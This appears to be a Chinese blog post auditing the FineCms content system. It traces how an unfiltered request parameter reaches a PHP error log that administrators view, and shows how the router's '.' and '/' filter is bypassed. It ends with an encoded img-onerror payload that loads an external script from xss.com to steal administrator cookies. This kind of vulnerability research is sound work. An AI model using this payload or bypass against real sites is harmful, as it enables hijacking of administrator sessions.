这个CMS给我的感觉就是框架版的ZZCMS,但是出的洞相比ZZCMS还是有点技术含量的,如果时间够的话我要出一个这个CMS的漏洞系列,时间不够打底也有两篇。

在加载框架的时候如果某方法不存在会调用show_404()

public function show_404($page = '', $log_error = TRUE)
{
  if (is_cli())
  {
    $heading = 'Not Found';
    $message = 'The controller/method pair you requested was not found.';
  }
  else
  {
    $heading = '404 Page Not Found';
    $message = 'The page you requested was not found.';
  }

  // By default we log this, but allow a dev to skip it
  if ($log_error)
  {
    log_message('error', $heading.': '.$page);
  }

  echo $this->show_error($heading, $message, 'error_404', 404);
  exit(4); // EXIT_UNKNOWN_FILE
}

如果开启的记录错误日志功能就调用log_message()来实现记录

function log_message($level, $message)
{
  static $_log;

  if ($_log === NULL)
  {
    // references cannot be directly assigned to static variables, so we use an array
    $_log[0] =& load_class('Log', 'core');
  }

  $_log[0]->write_log($level, $message);
}

log_message() 很明显只是起到过渡的函数,真正进行日志写入的是write_log()

public function write_log($level, $msg)
{
  if ($this->_enabled === FALSE)
  {
    return FALSE;
  }

  $level = strtoupper($level);

  if (( ! isset($this->_levels[$level]) OR ($this->_levels[$level] > $this->_threshold))
    && ! isset($this->_threshold_array[$this->_levels[$level]]))
  {
    return FALSE;
  }

  $filepath = $this->_log_path.'log-'.date('Y-m-d').'.'.$this->_file_ext;
  $message = '';

  if ( ! file_exists($filepath))
  {
    $newfile = TRUE;
    // Only add protection to php files
    if ($this->_file_ext === 'php')
    {
      $message .= "<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>\n\n";
    }
  }

  if ( ! $fp = @fopen($filepath, 'ab'))
  {
    return FALSE;
  }

  flock($fp, LOCK_EX);

  // Instantiating DateTime with microseconds appended to initial date is needed for proper support of this format
  if (strpos($this->_date_fmt, 'u') !== FALSE)
  {
    $microtime_full = microtime(TRUE);
    $microtime_short = sprintf("%06d", ($microtime_full - floor($microtime_full)) * 1000000);
    $date = new DateTime(date('Y-m-d H:i:s.'.$microtime_short, $microtime_full));
    $date = $date->format($this->_date_fmt);
  }
  else
  {
    $date = date($this->_date_fmt);
  }

  $message .= $this->_format_line($level, $date, $msg);

  for ($written = 0, $length = self::strlen($message); $written < $length; $written += $result)
  {
    if (($result = fwrite($fp, self::substr($message, $written))) === FALSE)
    {
      break;
    }
  }

  flock($fp, LOCK_UN);
  fclose($fp);

  if (isset($newfile) && $newfile === TRUE)
  {
    chmod($filepath, $this->_file_permissions);
  }

  return is_int($result);
}

write_log() 将$msg写入到以年月日命名的php文件中,并在第一行加入了exit,让我们无法直接查看错误内容,只能进入后台错误日志功能处查看。

显然从获取到存储整个流程中,并没有任何过滤或拦截,但是在路由类(Router)中set_calss函数拦截了符号【.】和【/】

public function set_class($class)
{
  $this->class = str_replace(array('/', '.'), '', $class);
}

巧的是在加载路由的时候偏偏调用会调用这个函数

class M_Router extends CI_Router {

    public function __construct()
    {
        $this->default_controller = 'Home';
        parent::__construct();
    }

    protected function _set_routing() {


        $_d = 's';
        $_d = isset($_GET[$_d]) ? trim($_GET[$_d], " \t\n\r\0\x0B/") : '';
        if ($_d !== '')
        {
            $this->uri->filter_uri($_d);
            $this->set_directory($_d);
        }

        $_c = trim($this->config->item('controller_trigger'));
        if ( ! empty($_GET[$_c]))
        {
            $this->uri->filter_uri($_GET[$_c]);
            $this->set_class($_GET[$_c]);
......

这就导致了只要带./的xss payload 基本都阵亡了,我们如果要加载XSS平台的JS打cookie的话不可能不带这俩符号的(xss.com/x),这一波歪打正着我是服气的。


但是也不是没有办法,至少我们还能在DOM里做手脚,于是我想到了第一种方法:

用ascii码转换.和/带入到payload中,可是现实是残酷的,payload里面没有这两个符号了,但是转换函数带(String.fromCharCode()) 逐放弃。

第二种方法:

用eval函数执行document.write,在dom里可以直接解析uincode编码,看似完美的绕过。

但最后一段</script> ,直接把我拉回了残酷的现实。

“靠,这还怎么玩,告辞”


和Luan师傅讨论后,用eval里面套payload就已经离bypass很近了,唯一的缺陷是最后的</script>,找一个不用闭合的单标签就OK了。

最终payload:

<img src=1 onerror=eval(unescape("%2564%256f%2563%2575%256d%2565%256e%2574%252e%2577%2572%2569%2574%2565%2528%2527%253c%2573%2563%2572%2569%2570%2574%2520%2573%2572%2563%253d%2568%2574%2574%2570%253a%252f%252f%2578%2573%2573%252e%2563%256f%256d%252f%2531%2532%2533%252e%256a%2573%253e%253c%252f%2573%2563%2572%2569%2570%2574%253e%2527%2529"))>

用unescape把内容解码然后再用eval执行,成功bypass。

漏洞触发点:

后台->错误日志

1 thought on “[代码审计]FineCms 最新版前台XSS #1”

发表评论

电子邮件地址不会被公开。 必填项已用*标注

Are you human? Click the Grapes...